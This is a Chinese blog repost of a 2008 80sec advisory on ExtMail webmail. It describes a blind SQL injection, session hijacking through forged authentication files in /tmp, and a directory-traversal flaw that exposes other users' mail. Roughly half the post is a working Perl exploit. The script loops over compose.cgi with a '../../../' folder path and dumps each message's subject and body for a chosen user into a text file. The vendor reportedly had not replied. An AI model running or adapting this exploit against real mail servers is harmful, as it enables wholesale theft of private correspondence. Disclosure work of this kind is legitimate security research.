Extmail安全漏洞

    [不指定 July 29, 2008 16:07 | by !4p47hy ]
来源:80sec ( http://www.80sec.com/extmail-security-hole.html )

漏洞说明:ExtMail Project 是一个活跃的开源邮件系统项目,目前由ExtMail 团队维护。该项于2005年9月18日正式启动,最初以WebMail软件为主,至今已逐步形成了ExtMail软件系列。整个项目的目标是开发出高效、易用、富有生命力的邮件系统(方案),经过粗略的统计,截止2007年6月份,已有超过3000个服务器在运行ExtMail软件,其中有超过1000个运行在互联网上。Webmail采取perl语言CGI方式编写,国内众多知名站点均使用extmail,譬如http://mail.csdn.net。80sec在其产品中发现安全漏洞,包括SQL注射,任意用户身份劫持,以及任意信件读取的几个重大安全漏洞。

漏洞厂商:http://www.extmail.org/

漏洞解析:

1、SQL注射漏洞

程序在处理用户登陆参数的地方没有对SQL注射进行防护,导致可能产生SQL注射漏洞,该处没有回显,但是利用延迟技术,一样可以进行敏感信息获取

2、任意用户身份获取漏洞

程序在处理全局用户参数提交时产生错误,导致匿名用户可以在该会话期间内上传文件到/tmp/目录,而程序的所有认证机制都是依靠/tmp/下的文件来处理的,所以匿名用户可以伪造认证文件来窃取其他的用户身份

3、任意信件读取漏洞

程序依靠文件处理系统来区分各个用户和信件,但是程序在处理个别参数的时候存在安全漏洞,导致用户可以跳出目录进入其他人的目录读取敏感信息如信件。

漏洞状态:80sec已经通知官方,但是到目前没有获得任何回复

漏洞证明:80sec发放任意信件读取漏洞的POC
#!/usr/bin/perl
#Exp for Ext-mail
#Codz By 80sec http://www.80sec.com

use LWP;
my $browser = LWP::UserAgent->new;

$mysid="d9a4c4f05aca535d696f8983a23e42bd";
$mytarget="http://www.80sec.com/";
$user='80sec';

$ARGV[0]&&($user=$ARGV[0]);
open(RESULT,”>>$user.txt”);

for($i=0;;$i++) {
my @headers=(’Cookie’=>”sid=$mysid”,’User-Agent’=>’Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)’,);
$myresponse=$browser->post(”${mytarget}compose.cgi”,['__mode'=>'edit_forward','folder'=>"Sent/../../../${user}/Maildir",'pos'=>"$i"],@headers);
$myecho=$myresponse->content;
$_=$myecho;
if(m/Some errors occured/i) {
print “Error!”;
print $_;
unlink “$user.txt”;
exit;
}

$bak=$_;

s/(.*?)value=\”Fwd:(.+?)\” onKeyDown=(.*?)$/$2/sg;
$subject=$_;

$_=$bak;
s/(.*?)<textarea name=”message”(.+?)>(.+?)<\/textarea>(.*)/$3/sg;
s/<br>/\n/sg;
s/"/\”/sg;
s/</</g;
s/>/>/sg;
s/ / /sg;
s/\r/\n/sg;
s/\n+/\n/sg;
s/<.*?>//sg;
s/——– Forwarded Messages ——–//sg;
$last=$_;

s/\s//sg;
s/From://sg;
s/To://sg;
$msg=$_;

# $subject=chomp($subject);
# $msg=chomp($msg);
if(!$subject&&!$msg) {
print “Done!估计没了!\r\n”;
print $last;
exit;
}
print “$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标题:”.$subject.”\r\n内容:”.$msg.”++++++++++++++++++++++++++++++++++++++++++++\r\n”;
print RESULT “$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标题:”.$subject.”\r\n内容:”.$msg.”++++++++++++++++++++++++++++++++++++++++++++\r\n”;

}
Tags: , , , , ,
Bug&Exp | Comments(0) | Trackbacks(0) | Reads(20939)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive